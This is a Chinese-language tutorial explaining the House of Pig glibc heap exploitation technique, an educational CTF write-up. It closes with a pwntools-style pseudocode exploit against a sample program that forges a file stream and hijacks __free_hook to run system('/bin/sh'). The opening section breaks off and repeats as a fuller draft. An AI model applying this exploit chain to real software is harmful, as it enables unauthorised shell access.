我们要聊的House of Pig不是什么枯燥的代码段,而是一场极其优雅、环环相扣的“内存抢劫案”。
这个技术由中国安全研究员pig在 2021 年的 XCTF 总决赛中首次提出,主要用来对付glibc 2.31 及以上版本的高难度 Linux 堆漏洞利用(Pwn)。
🌟 故事背景:为什么需要 House of Pig?
在 Pwn(漏洞利用)的常规套路中,我们最喜欢攻击的目标是__free_hook。它就像程序里的一个“安保摄像头”,每当程序释放内存(调用free)时,都会看它一眼。如果我们能把__free_hook篡改成system函数的地址,那么当我们释放一个内容是"/bin/sh"的内存时,程序就会乖乖执行system("/bin/sh"),我们就能拿到系统的控制权(Get Shell)。
但是,防守方(出题人)增加了限制:
在这个程序里,禁止使用malloc**,只能使用calloc来分配内存。
要知道,malloc会使用一个叫做tcache(线程缓存)的“绿色通道”,黑客极容易在这个通道里搞破坏,把__free_hook的地址塞进去骗程序。而calloc是一个老实人,它绝对不走 tcache 绿色通道**。
这就陷入了死局:我们没法用calloc把目标地址(__free_hook)提出来并写入数据。
House of Pig就是为了在“没有malloc可用”的绝境下,强行在系统底层“凭空”造出一个malloc,并完成绝杀。
🛠️ 抢劫案的三大核心道具
要完成 House of Pig,我们需要组装三个漏洞利用零件:
- 道具一:Large Bin Attack(狙击枪 - 任意地址写)
简单来说,这是 glibc 堆内存管理中的一个漏洞。只要利用它,我们就可以把一个堆内存的地址,写到系统里的任意位置。在这次行动中,我们要开两枪。 - 道具二:Tcache Stashing Unlink Attack(走私者 - 偷偷塞入目标)
虽然我们不能用malloc,但我们可以利用内存合并与整理的机制,偷偷把__free_hook - 0x10(目标地址的前一点点)塞进 tcache 的绿色通道里。它就像一个潜伏的内应,静静等待有人调用malloc来把它取走。 - 道具三:FSOP(特洛伊木马 - 劫持文件流)
Linux 程序在退出(或者崩溃)时,会依次清理所有打开的文件(比如标准输入输出)。系统里有一个总名单叫_IO_list_all。我们可以伪造一个“假文件”放到堆上,然后把总名单的指针改成我们的假文件。程序退出时,就会去处理我们的假文件。
🎩 终极魔术:_IO_str_overflow
这是整个 House of Pig 最天才的一笔。
当我们用特洛伊木马(FSOP)接管了程序的退出流程后,我们可以让程序去执行 glibc 内部一个极其冷门的函数:_IO_str_overflow。这个函数原本是用来处理字符串溢出的,但它的底层 C 源代码简直就像是为黑客量身定做的:
// _IO_str_overflow 内部极其简化的逻辑: char *new_buf = malloc(new_size); // 动作 1:调用 malloc if (old_buf) { memcpy(new_buf, old_buf, old_size); // 动作 2:调用 memcpy 进行复制 free(old_buf); // 动作 3:调用 free 释放旧内存 }你看懂了吗?这个函数里**自带了malloc、memcpy和free**!它完美打破了程序不给我们用malloc的限制。
🎬 完整电影剧本(执行流程)
现在,我们把所有零件拼装在一起,上演这出完美的抢劫案:
第一步:解除安保警报(第一次 Large Bin Attack)
为了让后续的“走私”过程不引起系统崩溃,我们需要目标地址(__free_hook - 0x10)附近有一个合法的指针。
我们用狙击枪(Large Bin Attack),瞄准__free_hook - 0x8开一枪,把一个堆地址写进去。警报解除。
第二步:安插内应(Tcache Stashing Unlink Attack)
House of Pig:一场教科书级别的“内存抢劫案”
House of Pig 是由中国安全研究员pig在 2021 年 XCTF 总决赛中提出的一种高级 Linux 堆漏洞利用技术,专门针对 glibc 2.31 及以上版本的高难度 Pwn 题目。
这门技术的美妙之处在于,它将系统底层的多个微小破绽像齿轮一样咬合在一起,在防守方彻底封死常规攻击路线的“绝境”下,利用系统自身的正常逻辑完成了一次无懈可击的攻击。
一、 故事背景与“死局”
在常规的堆漏洞攻击中,黑客的终极目标通常是篡改__free_hook。
- 什么是
__free_hook(安保摄像头)?它是 glibc 在执行free(释放内存)动作前的一个拦截器。默认情况下它是空的。但如果黑客利用漏洞把它篡改成system函数的地址,那么当程序试图释放一块内容为"/bin/sh"的内存时,实际上就会执行system("/bin/sh"),黑客借此瞬间拿到系统的终端控制权。
为了防止黑客篡改这个 Hook,高难度的题目会设下严苛的限制:绝对不使用malloc,只使用calloc来分配内存。
- 什么是
tcache(绿色通道)?tcache是系统为了加速内存分配发明的“自助回收车”。它不登记、不上锁、无安全检查。malloc特别喜欢从这里拿内存,因此黑客只要篡改tcache的链表指针,就能轻易让malloc把__free_hook的地址当作可用内存分配出来(即 tcache 投毒)。 - 为什么
calloc是个老实人?calloc的出厂设定是“必须提供一块绝对干净、被清零的内存”。因此,它每一次分配都会强行绕过脏兮兮的tcache绿色通道,老老实实去经过严格安全审查的总仓库拿内存。
死局形成:黑客虽然可以在tcache里做手脚(安插__free_hook),但因为程序只用calloc,它看都不看tcache一眼。黑客无法将目标地址提出来写入恶意数据。
二、 破局的三大核心道具
为了在没有malloc的情况下强行激活 tcache 绿色通道,我们需要组装三个系统底层的漏洞利用零件:
道具一:Large Bin Attack(狙击枪 —— 任意地址写)
当程序释放大内存进入Large Bin仓库时,系统会按大小为它们排序,这依赖于内存块上的fd_nextsize和bk_nextsize指针。
黑客利用漏洞(如 UAF),将仓库中已有内存块的bk_nextsize擦掉,改写为攻击目标地址。当系统试图把新的大内存放进仓库排队时,会按照被篡改的指针,把一个合法的堆内存地址,精准地写入系统里的任意位置。在 House of Pig 中,这把狙击枪要开两火。
道具二:Tcache Stashing Unlink Attack(走私者 —— 偷偷塞入目标)
虽然calloc不走 tcache,但当系统从常规仓库(如 Small Bin)取内存时,会触发“自动补货(Stashing)”机制,顺手把同等大小的空闲内存塞进 tcache 里。
黑客再次利用漏洞修改常规仓库的链表指针(bk),将其绑在__free_hook - 0x10上。当calloc触发补货机制时,系统会顺藤摸瓜,将这个目标地址强行拽进 tcache 绿色通道中,作为潜伏的内应等待唤醒。
道具三:FSOP(特洛伊木马 —— 劫持文件流)
Linux 程序在退出(exit)或崩溃时,必须根据一份名为_IO_list_all的总名单,依次清理所有打开的文件对象。每个文件对象包含一个虚表(vtable,即操作手册),指明该用什么函数来清理。
黑客提前在堆上伪造一个假文件,将虚表替换为_IO_str_jumps。随后利用“道具一”修改_IO_list_all,让系统在退出时处理这个假文件。
三、 终极魔术:_IO_str_overflow
伪造的假文件中,指定了用 glibc 内部极其冷门的_IO_str_overflow函数来进行清理。这个用于处理字符串溢出的函数,其底层 C 代码完美契合了黑客的需求:
// _IO_str_overflow 内部简化的核心逻辑: char *new_buf = malloc(new_size); // 动作 1:终于出现了梦寐以求的 malloc if (old_buf) { memcpy(new_buf, old_buf, old_size); // 动作 2:复制数据 free(old_buf); // 动作 3:释放旧内存 }这个函数内部自带了malloc -> memcpy -> free的神仙连招,完美打破了外部程序不给用malloc的死局。
四、 完整剧本:四步绝杀
当所有零件准备就绪,黑客将按照以下步骤引爆整个攻击链:
- 第一次狙击(解除安保警报):
因为后续的“走私”操作会对内存结构进行校验,如果目标地址附近全是空数据,会引发系统崩溃。黑客首先发动一次Large Bin Attack,瞄准__free_hook - 0x8写入一个堆地址,伪造合法的内存环境,解除警报。 - 安插内应(触发走私):
黑客修改内存布局后,调用特定大小的calloc,触发 Stashing 机制。系统在不知情的情况下,将目标地址__free_hook - 0x10强行塞入了 tcache 绿色通道的第一个位置。 - 埋设木马与第二次狙击:
黑客在堆上精心构造假文件对象,其中包含一段致命的old_buf恶意数据:最开头是"/bin/sh\x00",中间垫上垃圾数据,末尾是对齐好的system函数真实地址。
接着发动第二次Large Bin Attack,将系统的退出总名单_IO_list_all指向这个假文件。 - 终极引爆(exit):
黑客发送指令让程序正常执行exit()退出。程序遍历总名单,拿到假文件,掉入虚表陷阱,开始执行_IO_str_overflow:
- 触发
malloc:函数内部的malloc优先从 tcache 绿色通道拿内存,正好取出了潜伏已久的__free_hook - 0x10。 - 触发
memcpy:函数将伪造的old_buf复制进去。"/bin/sh\x00"落在了前段,而system的地址刚刚好精准覆盖在了__free_hook之上。 - 触发
free:函数最后执行free(old_buf)。此时钩子已经被掉包,原本清理内存的动作,瞬间变成了执行system("/bin/sh")。
没有自己调用过一次malloc,也没有生硬地去强改数据。黑客仅仅是通过布置好内存的指针,静静等待程序走到exit的那一刻,让系统顺着自己设定的剧本,亲手为黑客递上了最高权限的 Shell。
例子
为了让你从刚刚的“抢劫案”故事无缝过渡到真实的黑客操作,我们来看一个简化版的 CTF(夺旗赛)题目例子。
假设我们面对一个典型的堆漏洞程序(名字叫pig_bank),它的规则极其严苛。
1. 目标程序的规则(防守方)
在这个程序里,你可以创建、编辑和删除“备忘录”。但它的底层代码有以下限制和漏洞:
// 限制 1:绝对不使用 malloc,只用 calloc(内存会被清零,且不走 tcache) void add() { // ... ptr[i] = calloc(1, size); } // 限制 2:存在 UAF (Use-After-Free) 漏洞 void delete() { free(ptr[i]); // 漏洞点:释放后没有把指针清空为 NULL,可以继续编辑它! } // 限制 3:程序提供了一个退出选项,执行 exit(0)2. 黑客的攻击脚本(Python pwntools 伪代码)
下面是对应上一节“电影剧本”的真实漏洞利用代码逻辑。我会用注释把代码和故事对应起来。
前置准备:获取系统地图
在开枪之前,我们需要知道系统里的关键位置在哪(泄漏libc基址和堆基址)。这通常通过 UAF 漏洞读取释放后的指针来实现。
libc_base = 0x7ffff7a00000 # 假设我们算出了系统核心库的地址 heap_base = 0x55555555f000 # 假设我们算出了堆内存的地址 free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] _IO_list_all = libc_base + libc.sym['_IO_list_all'] _IO_str_jumps = libc_base + libc.sym['_IO_str_jumps']第一步:第一次狙击(Large Bin Attack 1)—— 解除安保警报
利用 UAF 漏洞修改 Large Bin 里的链表指针(bk_nextsize),让系统在整理内存时,把一个堆地址写到__free_hook - 8。
# 修改 chunk_A 的指针,瞄准 __free_hook - 8 edit(chunk_A, p64(0) + p64(free_hook - 0x8 - 0x20)) # 申请一个更大的内存,触发系统整理 Large Bin(扣动扳机) add(0x400) # 此时:[__free_hook - 8] = 某个堆地址,解除后续崩溃危机第二步:安插内应(Tcache Stashing Unlink Attack)
利用calloc分配特定大小的内存时,会触发系统把 Unsorted Bin 里的内存块“顺手”塞进 tcache(所谓的 stashing 机制)。我们借机把目标地址塞进去。
# 修改 chunk_B 的 bk 指针,指向我们的目标前夕 edit(chunk_B, p64(0) + p64(free_hook - 0x10 - 0x10)) # 调用 calloc 触发 stashing,强行把目标地址塞入 tcache add(0x100) # 此时:tcache 的链表头部变成了 __free_hook - 0x10第三步:第二次狙击与埋设木马(Large Bin Attack 2 + 伪造 _IO_FILE)
再次开枪,这次瞄准文件流总名单_IO_list_all,把它指向我们提前在堆上伪造好的“假文件”。
同时,我们要构造那个致命的特洛伊木马(假文件数据)。
# 1. 构造即将被拷贝的恶意数据 (old_buf) malicious_data = b"/bin/sh\x00" # 开头是命令(将被 free) malicious_data += p64(0) # 垫片(8字节垃圾数据) malicious_data += p64(system_addr) # 精准对齐到 __free_hook 的 system 地址 # 2. 构造假文件 (_IO_FILE 结构体) fake_file = b"" fake_file += p64(0) # _flags fake_file += p64(0) # _IO_read_ptr fake_file += p64(0) # _IO_read_end fake_file += p64(0) # _IO_read_base fake_file += p64(0) # _IO_write_base fake_file += p64( (len(malicious_data) - 1) / 2 ) # _IO_write_ptr (控制 malloc 的大小) fake_file += p64(0) # _IO_write_end fake_file += p64(heap_base + 0x1000)# 指向 malicious_data 的地址 (作为 old_buf) # ... 省略中间的无用填充 ... fake_file += p64(_IO_str_jumps) # 核心:把虚表替换成 _IO_str_jumps,引导程序走向 _IO_str_overflow # 3. 把假文件写到堆上,并开第二枪 edit(chunk_C, fake_file) edit(chunk_D, p64(0) + p64(_IO_list_all - 0x20)) # 瞄准 _IO_list_all add(0x400) # 扣动扳机,_IO_list_all 现在指向了 chunk_C第四步:引爆!
万事俱备,我们向程序发送退出指令。
# 发送指令,让程序执行 exit() send_menu("exit") # ---- 此时系统底层发生连环爆炸 ---- # 1. exit() 遍历 _IO_list_all,拿到我们的 fake_file。 # 2. 调用 _IO_str_jumps 里的 _IO_str_overflow。 # 3. 触发 malloc:从 tcache 取出 __free_hook - 0x10。 # 4. 触发 memcpy:把 malicious_data 复制进去,system_addr 精准覆盖 __free_hook。 # 5. 触发 free:释放 malicious_data,等同于执行 free("/bin/sh")。 # 6. 因为 hook 被劫持,最终实际执行 system("/bin/sh")。 # 拿到 Shell! io.interactive()真实的 Pwn 脚本需要精准计算偏移量(比如0x20、0x10这种数字),但这套流程展示了House of Pig在代码层面的极度连贯性:漏洞被像乐高积木一样组合起来,最终利用系统自己提供的标准函数,完成了一次无需自己调用malloc的绝杀。